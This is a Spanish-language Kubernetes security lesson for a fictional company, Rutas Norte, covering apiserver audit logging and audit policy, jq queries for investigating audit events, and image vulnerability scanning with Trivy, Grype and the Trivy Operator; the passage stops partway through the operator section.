A lo largo de este módulo hemos cerrado cuatro dimensiones de la seguridad de Rutas Norte: quién puede hacer qué (08-01), qué puede hacer un contenedor (08-02 y 08-03), qué habla con qué (08-04) y qué imágenes se ejecutan (08-05). Hemos puesto puertas en todas partes.

Pero quedaron dos preguntas sin respuesta, y son exactamente las dos que hace cualquier auditoría.

La primera es "¿quién hizo qué?". Si mañana descubrimos que el Secret con las credenciales de postgres-reservas fue leído, o que un Deployment desapareció, o que una ServiceAccount hizo algo extraño a las tres de la madrugada, ahora mismo no tenemos forma de saberlo. Hemos puesto puertas, pero no llevamos registro de quién las cruza.

La segunda es "¿qué agujeros tengo ahora mismo?". Sabemos escanear una imagen antes de publicarla, pero las que llevan meses en producción acumulan vulnerabilidades nuevas cada semana y nadie las está mirando. Y no solo las imágenes: la configuración del propio clúster puede tener desviaciones que nadie ha revisado.

Esta lección cierra el módulo respondiendo a las dos, y termina con lo que de verdad falta en la mayoría de los equipos: la gestión de vulnerabilidades como proceso, no como una lista de alertas que nadie mira.

Advertencia importante. La política de auditoría, los umbrales de vulnerabilidad y el proceso de gestión que se describen aquí son un ejemplo razonable, no una plantilla universal. Debe diseñarlos y revisarlos un profesional de seguridad conociendo el modelo de amenazas de la organización. Y como el registro de auditoría de Rutas Norte documenta accesos a sistemas que tratan datos personales de clientes, tanto su contenido como su plazo de conservación deben ser aprobados por el responsable de cumplimiento normativo: un registro de auditoría mal configurado puede convertirse en sí mismo en una fuente de datos personales que hay que proteger. El enfoque de esta lección es exclusivamente defensivo: detectar, registrar y corregir.

Contenido

  1. El registro de auditoría del apiserver
  2. La política de auditoría y sus cuatro niveles
  3. Una política razonable para Rutas Norte
  4. Análisis práctico de eventos de auditoría
  5. Escaneo de vulnerabilidades de imágenes con Trivy
  6. El Trivy Operator dentro del clúster
  7. Evaluación del clúster con kube-bench y los estándares CIS
  8. Detección en tiempo de ejecución con Falco
  9. Integrar las alertas de Falco con Alertmanager
  10. Gestión de vulnerabilidades como proceso
  11. Evidencias y auditorías de cumplimiento
  12. Lista de verificación final de seguridad de la plataforma
  13. Errores comunes y consejos
  14. Ejercicios
  15. Conclusión

  1. El registro de auditoría del apiserver

Recuerda de 08-01 que todo en Kubernetes pasa por el apiserver: kubectl, los controladores, el kubelet, los operadores, informes-ocupacion. Eso convierte al apiserver en el punto perfecto para registrar quién hace qué.

El registro de auditoría (audit log) es un flujo de eventos en JSON que documenta cada petición: quién la hizo, desde dónde, qué pidió, qué respondió el servidor y cuándo.

Las cuatro etapas de una petición

Cada petición puede generar hasta cuatro eventos, según en qué momento se registre:

Etapa Cuándo se emite Uso
RequestReceived Nada más llegar la petición Detectar peticiones que se quedan colgadas
ResponseStarted Al empezar a responder Solo para peticiones largas (watch)
ResponseComplete Al terminar la respuesta El evento útil por defecto
Panic Si el servidor falla Diagnóstico de fallos internos

Casi siempre interesa solo ResponseComplete: es un evento por petición, con el resultado ya conocido.

Anatomía de un evento

{
  "kind": "Event",
  "apiVersion": "audit.k8s.io/v1",
  "level": "Metadata",
  "auditID": "8f3c1e94-2b7a-4d5e-9c81-6a4f2e8d1b03",
  "stage": "ResponseComplete",
  "requestURI": "/api/v1/namespaces/rutas-norte-pro/secrets/postgres-reservas-credenciales",
  "verb": "get",
  "user": {
    "username": "[email protected]",
    "groups": ["plataforma", "system:authenticated"]
  },
  "sourceIPs": ["10.4.12.87"],
  "userAgent": "kubectl/v1.30.3 (linux/amd64) kubernetes/6fc0a69",
  "objectRef": {
    "resource": "secrets",
    "namespace": "rutas-norte-pro",
    "name": "postgres-reservas-credenciales",
    "apiVersion": "v1"
  },
  "responseStatus": { "metadata": {}, "code": 200 },
  "requestReceivedTimestamp": "2026-08-06T03:14:22.481930Z",
  "stageTimestamp": "2026-08-06T03:14:22.489114Z",
  "annotations": {
    "authorization.k8s.io/decision": "allow",
    "authorization.k8s.io/reason": "RoleBinding \"plataforma-admin\" of ClusterRole \"admin\" to Group \"plataforma\""
  }
}

Lee ese evento con atención, porque resume todo el módulo. Nos dice:

  • Quién: [email protected], del grupo plataforma.
  • Qué: leyó (get) el Secret con las credenciales de la base de datos de clientes.
  • Cuándo: a las 03:14 de la madrugada.
  • Desde dónde: la IP 10.4.12.87, con kubectl.
  • Con qué permiso: el RoleBinding que escribimos en 08-01.
  • Resultado: 200, es decir, lo consiguió.

Sin registro de auditoría, ninguna de esas seis cosas sería conocible. Con él, la pregunta "¿alguien leyó las credenciales de la base de datos?" tiene respuesta en segundos.

Fíjate especialmente en el campo annotations: la anotación authorization.k8s.io/reason te dice qué binding de RBAC concedió el permiso. Es una herramienta de auditoría de RBAC extraordinaria: cuando veas un acceso que no esperabas, esa línea te dice exactamente qué manifiesto hay que corregir.

Configurar el registro de auditoría

Requiere tocar los parámetros del apiserver, así que necesitas acceso al plano de control:

# /etc/kubernetes/manifests/kube-apiserver.yaml (fragmento)
spec:
  containers:
    - name: kube-apiserver
      command:
        - kube-apiserver
        # Fichero con la política: qué se registra y con qué detalle
        - --audit-policy-file=/etc/kubernetes/auditoria/politica.yaml
        # Destino de fichero
        - --audit-log-path=/var/log/kubernetes/auditoria.log
        - --audit-log-maxage=90        # días que se conservan
        - --audit-log-maxbackup=30     # número de ficheros rotados
        - --audit-log-maxsize=200      # MB por fichero antes de rotar
        - --audit-log-format=json
      volumeMounts:
        - name: politica-auditoria
          mountPath: /etc/kubernetes/auditoria
          readOnly: true
        - name: logs-auditoria
          mountPath: /var/log/kubernetes
  volumes:
    - name: politica-auditoria
      hostPath:
        path: /etc/kubernetes/auditoria
        type: DirectoryOrCreate
    - name: logs-auditoria
      hostPath:
        path: /var/log/kubernetes
        type: DirectoryOrCreate

En Kubernetes gestionado (10-06) esto se configura desde el proveedor: EKS envía los logs a CloudWatch, AKS a Azure Monitor y GKE a Cloud Logging. La política suele ser fija o parcialmente configurable, lo que es una limitación real a tener en cuenta.

Fichero o webhook

Destino Cómo funciona A favor En contra
Fichero Se escribe en el disco del nodo de control Sencillo, sin dependencias, no se pierde si la red falla Está en el nodo: quien lo comprometa puede borrarlo. Hay que recogerlo
Webhook Se envía a un servicio HTTP externo Centralizado, fuera del alcance de quien comprometa el clúster, retención independiente Si el destino no responde, se pueden perder eventos; añade latencia
# /etc/kubernetes/auditoria/webhook.yaml
apiVersion: v1
kind: Config
clusters:
  - name: recolector-auditoria
    cluster:
      server: https://auditoria.rutasnorte.example/eventos
      certificate-authority: /etc/kubernetes/pki/ca-auditoria.crt
contexts:
  - name: auditoria
    context:
      cluster: recolector-auditoria
      user: apiserver-rutasnorte
current-context: auditoria
users:
  - name: apiserver-rutasnorte
    user:
      client-certificate: /etc/kubernetes/pki/apiserver-auditoria.crt
      client-key: /etc/kubernetes/pki/apiserver-auditoria.key
        - --audit-webhook-config-file=/etc/kubernetes/auditoria/webhook.yaml
        - --audit-webhook-mode=batch          # agrupa eventos: menos latencia
        - --audit-webhook-batch-max-size=400
        - --audit-webhook-batch-max-wait=30s

Recomendación para Rutas Norte: los dos. Fichero como red de seguridad local, y webhook hacia el sistema de logs centralizado.

Y aquí hay un punto de diseño importante que conecta con el módulo 7: el destino del webhook no debe ser el mismo Elasticsearch al que van los logs de aplicación. La razón es de contención: si alguien compromete el clúster, tiene acceso al Elasticsearch donde escriben los pods, y podría manipular o borrar las evidencias. El registro de auditoría debe ir a un sistema al que el clúster solo pueda escribir, nunca leer ni borrar. Es una diferencia arquitectónica pequeña con una consecuencia enorme durante un incidente.

  1. La política de auditoría y sus cuatro niveles

Registrarlo todo con máximo detalle es inviable: un clúster mediano genera decenas de miles de peticiones por minuto, la mayoría de ellas ruido (el kubelet informando del estado de los nodos, los controladores observando cambios). La política decide qué se registra y con cuánto detalle.

Los cuatro niveles

Nivel Qué registra Tamaño Cuándo usarlo
None Nada. Descarta el evento 0 Ruido conocido: sondas, peticiones de sistema
Metadata Quién, qué, cuándo, resultado. Sin cuerpos Pequeño El nivel por defecto para casi todo
Request Metadatos + el cuerpo enviado Grande Escrituras que hay que poder reconstruir
RequestResponse Metadatos + cuerpo enviado y devuelto Muy grande Casos muy concretos y justificados

Aviso crítico sobre RequestResponse y los Secrets. Si registras RequestResponse sobre secrets, el contenido del secreto queda escrito en texto en el fichero de auditoría. Las credenciales de postgres-reservas acabarían en el log, que probablemente se replica al sistema de logs centralizado y a sus copias de seguridad. Habrías convertido tu registro de auditoría en el peor almacén de secretos posible.

Para Secrets, usa siempre Metadata. Saber quién leyó el secreto es exactamente lo que necesitas; saber qué contenía lo sabes ya, y no debe estar en ningún log.

El mismo razonamiento aplica a cualquier recurso que pueda contener datos personales. Si api-reservas tuviera un recurso personalizado con datos de clientes, Request sobre él registraría esos datos en el log de auditoría. Es exactamente el tipo de decisión que debe revisar el responsable de cumplimiento.

Cómo se evalúa la política

Es una lista ordenada de reglas. Se aplica la primera que coincide y se descartan las demás. El orden lo es todo:

apiVersion: audit.k8s.io/v1
kind: Policy
rules:
  - level: None       # <- esta se evalúa primero
    resources:
      - group: ""
        resources: ["events"]
  - level: Metadata   # <- solo se llega aquí si la anterior no coincidió

Poner las reglas de None (el ruido) al principio y las específicas después es lo que hace que el fichero sea manejable.

Criterios de coincidencia

Campo Qué filtra Ejemplo
users Nombres de usuario exactos system:kube-scheduler
userGroups Grupos system:nodes
verbs Operaciones ["get", "list", "watch"]
resources Grupo de API y recursos {group: "", resources: ["secrets"]}
namespaces Namespaces ["rutas-norte-pro"]
nonResourceURLs Rutas que no son recursos ["/healthz*", "/version"]
omitStages Etapas que no se registran ["RequestReceived"]

  1. Una política razonable para Rutas Norte

El objetivo es registrar en detalle lo que importa —accesos a Secrets, escrituras en producción, cambios de RBAC— sin ahogarse en ruido.

# /etc/kubernetes/auditoria/politica.yaml
apiVersion: audit.k8s.io/v1
kind: Policy

# RequestReceived duplica cada evento sin aportar nada en el caso general
omitStages:
  - RequestReceived

rules:
  # ============================================================
  # BLOQUE 1: ruido que NO se registra (va primero, por orden)
  # ============================================================

  # Comprobaciones de salud y descubrimiento de la API: miles por minuto
  - level: None
    nonResourceURLs:
      - /healthz*
      - /livez*
      - /readyz*
      - /version
      - /openapi*
      - /apis
      - /apis/*
      - /api
      - /api/*
      - /metrics

  # Los nodos informando de su estado constantemente
  - level: None
    users: ["system:kubelet"]
    userGroups: ["system:nodes"]
    verbs: ["get", "list", "watch"]
    resources:
      - group: ""
        resources: ["nodes", "nodes/status", "pods", "endpoints"]

  # Los controladores del plano de control observando cambios
  - level: None
    userGroups: ["system:serviceaccounts:kube-system"]
    verbs: ["get", "list", "watch"]

  # Los eventos de Kubernetes: son muchísimos y ya se recogen aparte (07-06)
  - level: None
    resources:
      - group: ""
        resources: ["events"]

  # Renovación de arrendamientos de elección de líder: constante y sin interés
  - level: None
    resources:
      - group: "coordination.k8s.io"
        resources: ["leases"]

  # ============================================================
  # BLOQUE 2: lo crítico, con el máximo detalle que es seguro
  # ============================================================

  # --- SECRETS: quién los toca, SIEMPRE, en todos los namespaces ---
  # Nivel Metadata a propósito: registrar el contenido escribiría
  # las credenciales de la base de datos de clientes en el log.
  - level: Metadata
    resources:
      - group: ""
        resources: ["secrets"]
    omitStages:
      - RequestReceived

  # --- Emisión de tokens de ServiceAccount: vía de suplantación (08-01) ---
  - level: Metadata
    resources:
      - group: ""
        resources: ["serviceaccounts/token"]

  # --- RBAC: cualquier cambio en quién puede hacer qué ---
  # Aquí sí Request: queremos poder reconstruir exactamente qué permiso
  # se concedió. Un Role no contiene datos personales.
  - level: Request
    resources:
      - group: "rbac.authorization.k8s.io"
        resources: ["roles", "rolebindings", "clusterroles", "clusterrolebindings"]

  # --- Políticas de admisión y de red: desactivarlas es un ataque ---
  - level: Request
    resources:
      - group: "admissionregistration.k8s.io"
      - group: "kyverno.io"
      - group: "networking.k8s.io"
        resources: ["networkpolicies"]
      - group: "policy"

  # --- Configuración de los namespaces: incluye las etiquetas del PSA (08-03) ---
  - level: Request
    verbs: ["create", "update", "patch", "delete"]
    resources:
      - group: ""
        resources: ["namespaces"]

  # ============================================================
  # BLOQUE 3: producción, con más detalle que el resto
  # ============================================================

  # Toda ESCRITURA en rutas-norte-pro, con el cuerpo de la petición
  - level: Request
    verbs: ["create", "update", "patch", "delete", "deletecollection"]
    namespaces: ["rutas-norte-pro"]

  # Operaciones interactivas sobre pods: exec, attach, port-forward,
  # contenedores efímeros. Son las de mayor riesgo (08-01).
  - level: Request
    resources:
      - group: ""
        resources:
          - pods/exec
          - pods/attach
          - pods/portforward
          - pods/ephemeralcontainers

  # Lectura de logs: pueden contener información de clientes
  - level: Metadata
    resources:
      - group: ""
        resources: ["pods/log"]

  # ============================================================
  # BLOQUE 4: el resto
  # ============================================================

  # Escrituras en cualquier otro namespace: metadatos
  - level: Metadata
    verbs: ["create", "update", "patch", "delete", "deletecollection"]

  # Todo lo demás (lecturas normales): metadatos
  - level: Metadata

Las decisiones, explicadas

Decisión Razón
omitStages: [RequestReceived] global Divide el volumen por dos sin perder información útil
None para sondas y descubrimiento Es el 70-80 % del volumen y no aporta nada
None para el kubelet y los controladores en lectura Ruido constante de funcionamiento normal
Metadata para Secrets, nunca Request Registrar el contenido escribiría las credenciales en el log
Request para RBAC Queremos poder reconstruir qué permiso exacto se concedió
Request para políticas de admisión y de red Desactivarlas es el paso previo a otras acciones
Request para escrituras en rutas-norte-pro Producción merece más detalle
Request para pods/exec y afines Máximo riesgo: acceso interactivo a un contenedor
Metadata para pods/log Saber quién leyó logs, sin duplicar su contenido

Estimación de volumen

Antes de aplicar la política en producción, mide. En rutas-norte-pre:

# Tamaño del log en una hora
ls -lh /var/log/kubernetes/auditoria.log

# Distribución por nivel
jq -r '.level' /var/log/kubernetes/auditoria.log | sort | uniq -c | sort -rn
  18432 Metadata
   1204 Request
# Qué recursos generan más eventos: candidatos a añadir a la lista de None
jq -r '.objectRef.resource // "sin-recurso"' /var/log/kubernetes/auditoria.log \
  | sort | uniq -c | sort -rn | head -10
   6218 pods
   3891 configmaps
   2104 endpointslices
   1877 deployments
   1442 secrets
    998 replicasets
    712 services
    488 nodes
    301 rolebindings
     94 pods/log

Esa tabla es la guía para afinar la política. Si endpointslices genera 2.100 eventos y nunca vas a consultarlos, añádelos a None.

Con la política anterior, un clúster del tamaño de Rutas Norte genera del orden de 1-3 GB al día. Con 90 días de retención, unos 100-250 GB. Es perfectamente manejable, pero hay que planificarlo y no descubrirlo cuando se llene el disco del nodo de control (lo que, además, detiene el apiserver: si no puede escribir el log de auditoría, deja de servir peticiones).

  1. Análisis práctico de eventos de auditoría

El log de auditoría solo vale si sabes consultarlo. Aquí van las consultas que se necesitan de verdad, resolviendo preguntas concretas.

Pregunta 1: ¿quién leyó las credenciales de la base de datos?

Es la pregunta de este módulo.

jq -r 'select(
    .objectRef.resource == "secrets" and
    .objectRef.namespace == "rutas-norte-pro" and
    (.verb == "get" or .verb == "list" or .verb == "watch")
  )
  | "\(.stageTimestamp)  \(.user.username)  \(.verb)  \(.objectRef.name // "TODOS")  \(.sourceIPs[0])  \(.responseStatus.code)"' \
  /var/log/kubernetes/auditoria.log | sort
2026-08-05T09:12:04Z  system:serviceaccount:rutas-norte-pro:api-reservas  get  api-reservas-bd  10.244.2.19  200
2026-08-05T14:33:41Z  [email protected]  get  postgres-reservas-credenciales  10.4.12.87  200
2026-08-06T03:14:22Z  [email protected]  get  postgres-reservas-credenciales  10.4.12.87  200
2026-08-06T03:14:58Z  [email protected]  list  TODOS  10.4.12.203  403

Cuatro líneas, cuatro historias:

  • La primera es normal: la ServiceAccount de api-reservas leyendo su propio secreto.
  • La segunda es una lectura de plataforma en horario laboral. Verificable con un ticket.
  • La tercera es la misma persona a las 03:14 de la madrugada. No es necesariamente malicioso —puede haber sido una incidencia nocturna— pero es una anomalía que hay que confirmar.
  • La cuarta es un 403: carlos.vega, del grupo desarrollo, intentó listar todos los secretos de producción. El RBAC de 08-01 lo denegó. Que un desarrollador intente eso a las 03:14 merece una conversación, y si no fue él, es un incidente grave: alguien está usando sus credenciales.

Fíjate en el valor de registrar también los intentos fallidos. Un 403 es una señal de detección, no un no-evento.

Pregunta 2: ¿quién borró aquel Deployment?

jq -r 'select(
    .verb == "delete" and
    .objectRef.resource == "deployments" and
    .objectRef.namespace == "rutas-norte-pro"
  )
  | "\(.stageTimestamp)  \(.user.username)  borró \(.objectRef.name)  desde \(.sourceIPs[0])  agente=\(.userAgent)"' \
  /var/log/kubernetes/auditoria.log
2026-08-05T16:47:12Z  system:serviceaccount:argocd:argocd-application-controller  borró exportador-legado  desde 10.244.1.8  agente=argocd-application-controller/v2.12.3

Respuesta inmediata: lo borró Argo CD, es decir, alguien eliminó ese manifiesto del repositorio de Git. La pregunta se traslada al historial de commits. Sin auditoría, esto habría sido una tarde de conjeturas.

Pregunta 3: ¿qué hizo esa ServiceAccount?

SA="system:serviceaccount:rutas-norte-pro:worker-notificaciones"

jq -r --arg sa "$SA" 'select(.user.username == $sa)
  | "\(.stageTimestamp)  \(.verb)  \(.objectRef.resource // "-")/\(.objectRef.name // "-")  \(.responseStatus.code)"' \
  /var/log/kubernetes/auditoria.log | sort | uniq -c | sort -rn | head -20
     42 2026-08-06T...  get  configmaps/worker-config  200
      3 2026-08-06T...  list  secrets/-  403
      1 2026-08-06T...  create  pods/exec  403

Las dos últimas líneas son una señal de alarma clara. worker-notificaciones no tiene ningún motivo para intentar listar secretos ni para intentar abrir una shell en un pod. Los 403 confirman que el RBAC funcionó, pero que un proceso esté intentando esas operaciones significa que está haciendo algo que no debería.

Compara con el ejercicio de 08-04, donde ese mismo componente aparecía sondeando la red: si ambas señales coinciden en el tiempo, tienes un pod comprometido, y ahora tienes evidencia desde dos fuentes independientes.

Pregunta 4: ¿quién ha entrado en contenedores de producción?

jq -r 'select(
    (.objectRef.subresource == "exec" or .objectRef.subresource == "attach" or
     .objectRef.subresource == "ephemeralcontainers") and
    .objectRef.namespace == "rutas-norte-pro"
  )
  | "\(.stageTimestamp)  \(.user.username)  \(.objectRef.subresource)  pod=\(.objectRef.name)  \(.responseStatus.code)"' \
  /var/log/kubernetes/auditoria.log
2026-08-04T11:02:33Z  [email protected]  exec  pod=api-reservas-6d4f8b9c7-k2m4x  101
2026-08-06T02:58:14Z  [email protected]  exec  pod=postgres-reservas-0  403

El código 101 es "cambio de protocolo": la sesión se estableció. El 403 de la segunda línea confirma que el RBAC de 08-01 impidió que alguien de desarrollo entrase en la base de datos de clientes. Exactamente lo que diseñamos.

Pregunta 5: ¿ha cambiado alguien el RBAC?

jq -r 'select(
    .objectRef.apiGroup == "rbac.authorization.k8s.io" and
    (.verb == "create" or .verb == "update" or .verb == "patch" or .verb == "delete")
  )
  | "\(.stageTimestamp)  \(.user.username)  \(.verb)  \(.objectRef.resource)/\(.objectRef.name)"' \
  /var/log/kubernetes/auditoria.log
2026-08-06T01:33:07Z  [email protected]  create  clusterrolebindings/depuracion-temporal

Un ClusterRoleBinding creado a la una de la madrugada con un nombre que dice "temporal". Con level: Request en la política de RBAC, podemos ver exactamente qué concedía:

jq -r 'select(.objectRef.name == "depuracion-temporal") | .requestObject' \
  /var/log/kubernetes/auditoria.log
{
  "kind": "ClusterRoleBinding",
  "apiVersion": "rbac.authorization.k8s.io/v1",
  "metadata": { "name": "depuracion-temporal" },
  "roleRef": {
    "apiGroup": "rbac.authorization.k8s.io",
    "kind": "ClusterRole",
    "name": "cluster-admin"
  },
  "subjects": [
    { "kind": "Group", "name": "desarrollo", "apiGroup": "rbac.authorization.k8s.io" }
  ]
}

Alguien concedió cluster-admin a todo el equipo de desarrollo durante una incidencia nocturna. Si sigue existiendo, es un hallazgo grave. Esta es precisamente la clase de cosa que el apartado 11 de la lección 08-01 nos decía que hay que buscar en la revisión trimestral, y ahora tenemos la fecha, la hora y el responsable.

Un guion de informe diario

#!/usr/bin/env bash
# seguridad/informe-auditoria-diario.sh
# Resumen diario de eventos de auditoría relevantes.
set -euo pipefail
LOG="${1:-/var/log/kubernetes/auditoria.log}"
FECHA=$(date -u +%Y-%m-%d)

echo "=== Informe de auditoría — $FECHA ==="
echo

echo "--- Accesos a Secrets de rutas-norte-pro ---"
jq -r 'select(.objectRef.resource == "secrets" and .objectRef.namespace == "rutas-norte-pro")
  | "\(.user.username)"' "$LOG" | sort | uniq -c | sort -rn

echo
echo "--- Sesiones interactivas en producción (exec/attach/debug) ---"
jq -r 'select((.objectRef.subresource // "") | test("exec|attach|ephemeralcontainers"))
  | select(.objectRef.namespace == "rutas-norte-pro")
  | "\(.stageTimestamp) \(.user.username) \(.objectRef.name)"' "$LOG"

echo
echo "--- Cambios en RBAC ---"
jq -r 'select(.objectRef.apiGroup == "rbac.authorization.k8s.io")
  | select(.verb | test("create|update|patch|delete"))
  | "\(.stageTimestamp) \(.user.username) \(.verb) \(.objectRef.resource)/\(.objectRef.name)"' "$LOG"

echo
echo "--- Peticiones DENEGADAS (403): posible sondeo ---"
jq -r 'select(.responseStatus.code == 403)
  | "\(.user.username) -> \(.verb) \(.objectRef.resource // .requestURI)"' "$LOG" \
  | sort | uniq -c | sort -rn | head -15

echo
echo "--- Violaciones registradas por el Pod Security Admission (08-03) ---"
jq -r 'select(.annotations["pod-security.kubernetes.io/audit-violations"] != null)
  | "\(.objectRef.namespace)/\(.objectRef.name): \(.annotations["pod-security.kubernetes.io/audit-violations"])"' \
  "$LOG" | sort -u

Esa última sección conecta directamente con 08-03: el modo audit del PSA escribe sus violaciones como anotaciones en los eventos de auditoría. Si tienes namespaces en enforce: baseline con audit: restricted, esta consulta te dice exactamente qué pods no llegarían a restricted.

Este informe, ejecutado a diario y revisado por una persona, es una de las prácticas de seguridad con mejor relación entre esfuerzo y valor de todo el módulo.

  1. Escaneo de vulnerabilidades de imágenes con Trivy

En 08-05 dijimos que una imagen no se degrada: el mundo cambia a su alrededor. Ahora vamos a medir cuánto.

Trivy es un escáner que compara los componentes de una imagen (el SBOM, de hecho) con bases de datos públicas de vulnerabilidades.

Escaneo local

trivy image registry.rutasnorte.example/rutasnorte/api-reservas:2.7.1
registry.rutasnorte.example/rutasnorte/api-reservas:2.7.1 (debian 12.7)
==========================================================================
Total: 4 (UNKNOWN: 0, LOW: 2, MEDIUM: 1, HIGH: 1, CRITICAL: 0)

┌──────────────┬────────────────┬──────────┬────────┬───────────────────┬───────────────┐
│   Library    │ Vulnerability  │ Severity │ Status │ Installed Version │ Fixed Version │
├──────────────┼────────────────┼──────────┼────────┼───────────────────┼───────────────┤
│ libssl3      │ CVE-2026-11042 │ HIGH     │ fixed  │ 3.0.14-1          │ 3.0.15-1      │
│ libc6        │ CVE-2026-10877 │ MEDIUM   │ fixed  │ 2.36-9            │ 2.36-9+deb12u1│
│ zlib1g       │ CVE-2025-98004 │ LOW      │ affected│ 1:1.2.13.dfsg-1  │               │
└──────────────┴────────────────┴──────────┴────────┴───────────────────┴───────────────┘

Node.js (node-pkg)
==================
Total: 1 (UNKNOWN: 0, LOW: 0, MEDIUM: 0, HIGH: 0, CRITICAL: 1)

┌──────────────┬────────────────┬──────────┬────────┬───────────────────┬───────────────┐
│   Library    │ Vulnerability  │ Severity │ Status │ Installed Version │ Fixed Version │
├──────────────┼────────────────┼──────────┼────────┼───────────────────┼───────────────┤
│ jsonwebtoken │ CVE-2026-12033 │ CRITICAL │ fixed  │ 9.0.2             │ 9.0.3         │
└──────────────┴────────────────┴──────────┴────────┴───────────────────┴───────────────┘

La columna Status es la más importante y mucha gente la ignora:

Estado Significado Qué hacer
fixed Hay una versión corregida disponible Actualizar. Es accionable
affected Confirmada, sin corrección aún Mitigar o aceptar; vigilar
will_not_fix El mantenedor no la va a corregir Evaluar si afecta a tu uso
fix_deferred Se corregirá más adelante Vigilar
end_of_life El componente ya no tiene soporte Migrar: es lo más grave

Un CRITICAL con estado fixed es urgente y sencillo: actualiza la dependencia. Un HIGH con will_not_fix requiere análisis, no acción inmediata.

Escaneo en la canalización con umbral

# .gitlab-ci.yml (fragmento) — escaneo que rompe la construcción
escanear-imagen:
  stage: verificar
  script:
    # Actualizar la base de vulnerabilidades por separado: si falla la
    # descarga, queremos saberlo, no que el escaneo pase por defecto
    - trivy image --download-db-only

    # Informe legible para el registro de la canalización
    - trivy image --severity LOW,MEDIUM,HIGH,CRITICAL "${IMAGEN}:${VERSION}"

    # Puerta de calidad: CRITICAL o HIGH con corrección disponible = falla
    - |
      trivy image \
        --severity HIGH,CRITICAL \
        --ignore-unfixed \
        --exit-code 1 \
        --ignorefile .trivyignore \
        "${IMAGEN}:${VERSION}"

    # Informe en formato SARIF para la interfaz de la plataforma de CI
    - trivy image --format sarif --output trivy.sarif "${IMAGEN}:${VERSION}"

    # Escaneo de secretos: credenciales olvidadas en las capas (08-05)
    - trivy image --scanners secret --exit-code 1 "${IMAGEN}:${VERSION}"
  artifacts:
    reports:
      sast: trivy.sarif
    expire_in: 90 days

Las dos opciones que hacen esto viable:

  • --ignore-unfixed: solo falla por vulnerabilidades con corrección disponible. Sin esto, una vulnerabilidad sin parche bloquearía todos los despliegues indefinidamente, lo que lleva a que el equipo desactive la comprobación. Una puerta que siempre está cerrada acaba desmontada.
  • --ignorefile: excepciones documentadas.
# .trivyignore
# Formato: CVE  # motivo — responsable — fecha de caducidad
#
# ESTE FICHERO SE REVISA EN CADA AUDITORÍA TRIMESTRAL.
# Una excepción sin fecha de caducidad es un fallo de proceso.

# El binario afectado (openssl como herramienta de línea de órdenes) no está
# presente en la imagen distroless; solo la librería, que no usa la ruta
# vulnerable. Confirmado con el equipo de seguridad.
# Responsable: plataforma — Caduca: 2026-11-01
CVE-2026-10877

# Sin corrección disponible del mantenedor. El componente no procesa entrada
# externa en nuestro uso. Revisado 2026-08-01.
# Responsable: plataforma — Caduca: 2026-10-01
CVE-2025-98004

Ese formato de comentario no es decorativo: una excepción sin motivo, sin responsable y sin fecha de caducidad es una vulnerabilidad aceptada en silencio. Lo desarrollamos en el apartado 10.

Escaneo continuo del registro

Este es el punto que cierra el hueco. Una imagen escaneada en junio puede tener vulnerabilidades críticas en agosto sin que nadie la haya tocado.

#!/usr/bin/env bash
# seguridad/escanear-registro.sh
# Escaneo semanal de todas las imágenes desplegadas en producción.
set -uo pipefail

# Obtener las imágenes que están REALMENTE corriendo, por digest
kubectl get pods -A -o json | jq -r '
  .items[].status.containerStatuses[]?.imageID' \
  | grep '^registry.rutasnorte.example' | sort -u > /tmp/imagenes-en-uso.txt

echo "Imágenes en ejecución: $(wc -l < /tmp/imagenes-en-uso.txt)"
hallazgos=0

while read -r imagen; do
  resultado=$(trivy image --severity CRITICAL,HIGH --ignore-unfixed \
                --format json --quiet "$imagen" 2>/dev/null)
  n=$(echo "$resultado" | jq '[.Results[]?.Vulnerabilities[]?] | length')
  if [[ "$n" -gt 0 ]]; then
    echo "=== $imagen: $n vulnerabilidades con corrección disponible"
    echo "$resultado" | jq -r '.Results[]?.Vulnerabilities[]?
      | "    \(.Severity)  \(.VulnerabilityID)  \(.PkgName) \(.InstalledVersion) -> \(.FixedVersion)"' \
      | sort -u
    hallazgos=$((hallazgos + n))
  fi
done < /tmp/imagenes-en-uso.txt

echo
echo "Total de hallazgos accionables: $hallazgos"
Imágenes en ejecución: 8
=== registry.rutasnorte.example/rutasnorte/api-reservas@sha256:9f2c1d...: 2 vulnerabilidades con corrección disponible
    CRITICAL  CVE-2026-12033  jsonwebtoken 9.0.2 -> 9.0.3
    HIGH      CVE-2026-11042  libssl3 3.0.14-1 -> 3.0.15-1
=== registry.rutasnorte.example/externas/postgres@sha256:2a7f4c...: 1 vulnerabilidades con corrección disponible
    HIGH      CVE-2026-10991  libxml2 2.9.14 -> 2.9.14+deb12u2

Total de hallazgos accionables: 3

Escanear lo que está corriendo por digest, y no lo que dicen los manifiestos, es la diferencia entre saber tu situación real y suponerla. Si algún pod está ejecutando un digest distinto del esperado (recuerda 08-05), este guion lo escanea igual.

Grype como alternativa

Grype, de Anchore, es el otro escáner ampliamente usado:

grype registry.rutasnorte.example/rutasnorte/api-reservas:2.7.1 -o table
Trivy Grype
Alcance Imágenes, sistemas de ficheros, repositorios, IaC, Kubernetes, secretos Imágenes y SBOM
Integración con SBOM Genera y consume Consume SBOM de Syft, del mismo proyecto
Operador para Kubernetes (Trivy Operator) Vía Anchore
Velocidad Muy rápido Rápido
Configuración Amplia Más simple

Los dos son buenos y sus resultados difieren ligeramente porque usan fuentes de datos parcialmente distintas. Usar ambos en la canalización no es paranoia: es una práctica razonable, porque uno detecta cosas que al otro se le escapan. Para Rutas Norte, Trivy como principal (por el operador y la amplitud) y Grype como segunda opinión sobre el SBOM que ya generamos en 08-05.

  1. El Trivy Operator dentro del clúster

Escanear a mano funciona hasta que dejas de acordarte. El Trivy Operator lo automatiza: vigila las cargas de trabajo del clúster, escanea sus imágenes y publica los resultados como recursos personalizados (recuerda los CRDs de 06-06).

helm repo add aqua https://aquasecurity.github.io/helm-charts/
helm install trivy-operator aqua/trivy-operator \
  --namespace trivy-system --create-namespace \
  --set trivy.ignoreUnfixed=true \
  --set operator.scanJobTimeout=10m \
  --set operator.vulnerabilityScannerScanOnlyCurrentRevisions=true \
  --set operator.scanJobsConcurrentLimit=3

Ese scanJobsConcurrentLimit importa: sin él, el operador puede lanzar decenas de Jobs de escaneo simultáneos y saturar el clúster justo cuando menos falta hace.

Los informes como recursos del clúster

kubectl get vulnerabilityreports -n rutas-norte-pro
NAME                                          REPOSITORY                            TAG      SCANNER   AGE   CRITICAL   HIGH   MEDIUM   LOW
replicaset-api-reservas-6d4f8b9c7-api         rutasnorte/api-reservas               2.7.1    Trivy     3h    1          1      1        2
replicaset-tienda-web-6f8d9c4b7-nginx         externas/nginx-unprivileged           1.27.1   Trivy     3h    0          0      2        4
